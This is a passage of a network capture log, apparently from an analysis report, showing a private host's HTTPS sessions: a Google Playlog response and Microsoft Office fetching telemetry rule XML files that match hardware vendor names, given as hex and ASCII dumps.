2024-10-29 01:46:24 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=0tyLPmscBavGr9ObH3wHzlFgoYM_yn_4U3uibq8CK57jwfCnVTIUsqJ5lkJIPhXLHY3dLe4IUlj2aMHBAsVATbGNQKPpspsjhcuDa21aV5rgv7_klqC7rEe6bqdI9ERtaWCGvlQdLh9BmocKrbZlnH4anjN4M8Vd4ztWwDj36v9z4ts85waugx9bavE; expires=Wed, 30-Apr-2025 01:46:24 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 01:46:24 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 01:46:24 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 01:46:24 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 01:46:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-r197bdfb6b4b4pw6nr8czsrctg00000006ng0000000039km x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: b99e46b1-a01e-001e-0499-2549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-15b8d89586flzzksdx5d6q7g1000000001400000000006c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-16849878b78g2m84h2v9sta29000000004pg00000000pz9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-16849878b78g2m84h2v9sta29000000004p000000000sqbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c5020da2-f01e-003f-2928-27d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-r197bdfb6b46krmwag4tzr9x7c00000005kg00000000feyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014625Z-16849878b78fhxrnedubv5byks000000044g00000000ehxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014625Z-16849878b78smng4k6nq15r6s400000007e0000000004tuc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014625Z-15b8d89586f42m673h1quuee4s00000009wg00000000ceat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014625Z-16849878b78bjkl8dpep89pbgg00000004p0000000001qv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30dbe6fd-101e-0034-66db-2696ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014625Z-17c5cb586f62blg5ss55p9d6fn00000006dg00000000p8cm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014626Z-16849878b78fhxrnedubv5byks000000048g0000000038z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49757	13.107.246.45	443

